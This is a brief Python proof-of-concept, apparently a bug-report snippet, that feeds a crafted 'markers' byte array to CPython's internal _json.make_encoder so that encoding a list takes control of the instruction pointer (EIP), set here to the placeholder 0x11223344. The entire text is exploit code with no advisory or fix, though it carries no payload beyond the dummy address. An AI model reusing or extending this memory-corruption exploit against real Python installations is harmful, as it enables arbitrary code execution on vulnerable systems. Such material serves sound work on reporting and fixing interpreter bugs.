control eip with a bug in json encoding

eip_json.py

import _json as j
import array
import struct
import sys

ver = sys.version_info[0]

eip = 0x11223344
eip_control = struct.pack("@I", 0) + \
              struct.pack("@I", eip) + \
              struct.pack("@I", eip)

if ver==3:
    markers = array.array("B", eip_control)
elif ver==2:
    markers = eip_control
else:
    assert False

enc = j.encode_basestring_ascii
e = j.make_encoder(markers, None, enc, 4, "ks", "is", False, True, True)
l = [1,2,3]
e(l, 1)